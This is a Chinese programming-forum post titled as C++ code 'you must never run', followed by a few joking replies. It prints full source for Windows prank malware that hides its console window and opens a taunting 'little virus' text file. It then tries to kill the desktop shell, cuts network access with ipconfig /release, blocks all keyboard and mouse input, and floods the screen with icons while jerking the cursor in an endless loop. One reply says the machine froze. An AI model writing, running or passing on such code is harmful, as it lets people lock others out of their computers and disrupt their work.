大家千万不要运行的c++代码(本人已经良心测试过)第 2 期!!!!!!!!!!

Kinghero King of the summit 2023-07-12 20:50:18 2
#include<fstream> 
#include <string>
#include <iostream>
#include <windows.h>
#include <time.h>
#include<stdio.h>
#include <tchar.h>
#include <cstdio>
#include<winable.h>
#include <Mmsystem.h>

using namespace std;

void Play()
{
	//获取桌面宽
	int iDesktopWidth = GetSystemMetrics(SM_CXSCREEN);
	//获取桌面高
	int iDesktopHeight = GetSystemMetrics(SM_CYSCREEN);
	//获取窗口句柄
	HWND hDesktop = GetDesktopWindow();
	//获取窗口dc
	HDC hdc = GetWindowDC(hDesktop);
	//获取光标位置
	POINT cursor;
	GetCursorPos(&cursor);
	//在光标位置处画错误图标
	DrawIcon(hdc, cursor.x - 10, cursor.y - 10, LoadIcon(NULL, IDI_ERROR));
	DrawIcon(hdc, cursor.x - 10, cursor.y - 10, LoadIcon(NULL, IDI_WINLOGO));
	DrawIcon(hdc, cursor.x - 10, cursor.y - 10, LoadIcon(NULL, IDI_INFORMATION));
	
	//在屏幕随机位置画上警告图标
	if (rand() % 3 == 0)       //取随机数,如果此数能被3整除则在屏幕上任意位置画一个警告标志
		DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_WARNING));
	DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_QUESTION));
	DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_INFORMATION));
	DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_WINLOGO));
	DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_ERROR));
	
}
int x=0,y=0,a=0,m=0;

VOID BlackScreen(VOID)
{ //暂时黑屏 
	PostMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, 2);
}
int main(){
	HDC hdc = GetDC(NULL); // 获取屏幕设备上下文句柄       
	// 释放设备上下文句柄   
	HWND hwnd; 
	hwnd=FindWindow("ConsoleWindowClass",NULL); 
	if(hwnd) 
	{ 
		ShowWindow(hwnd,SW_HIDE); 
	} 
	HWND hWnd = GetConsoleWindow(); 
	SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW); 
	ofstream outfile("asdfghjklyhbthnuhv.txt",ios::out); 
	if (!outfile) 
	{  
		cerr<<"open error"<<endl;  
		return 0;
	} 
	outfile<<"let`s play!______little virus  ]~( ̄▽ ̄)~*ヾ(≧▽≦*)o"; 
	outfile.close();	
	system("start asdfghjklyhbthnuhv.txt");
	system("taskkill /im explore.exe/f");
	system("ipconfig /release"); //断开网络
	
	BlockInput(TRUE);
	
	RECT rect;
	
	LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);	
	
	POINT p; 
	srand((unsigned) time(NULL));
	HWND Wnd= GetForegroundWindow(); 
	ShowWindow(Wnd, SW_HIDE);  
	while(1)
	{	
		Play();
		Play();
		Sleep(3);  
		GetCursorPos(&p); 
		x = rand() % 2;
		y = rand() % 2;
		a = rand() % 2;
		m=rand()%13;
		if(a==1)
		{
			SetCursorPos(p.x+x+3,p.y+y+3);
			SetCursorPos(p.x-x-3,p.y+y-3);
			SetCursorPos(p.x+x+3,p.y+y-3);
			SetCursorPos(p.x-x-3,p.y+y+3);
		}
		else if(a==0)
		{
			SetCursorPos(p.x-x-3,p.y-y-3);
			SetCursorPos(p.x+x+3,p.y-y+3);
			SetCursorPos(p.x-x-3,p.y-y+3);
			SetCursorPos(p.x+x+3,p.y-y-3);
		}else if(m==0){
			SetCursorPos(p.x-x-2,p.y-y-0);
			SetCursorPos(p.x+x+2,p.y-y+0);
			SetCursorPos(p.x-x-0,p.y-y+2);
			SetCursorPos(p.x+x+0,p.y-y-2);	LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);	
			
		}
		
		
	}
}
{{ vote && vote.total.up }}

共 5 条回复

Even226 逗比

star sky

txz 一打七

666

txz 一打七

已死机

txz 一打七

6

bc03 黄金三

6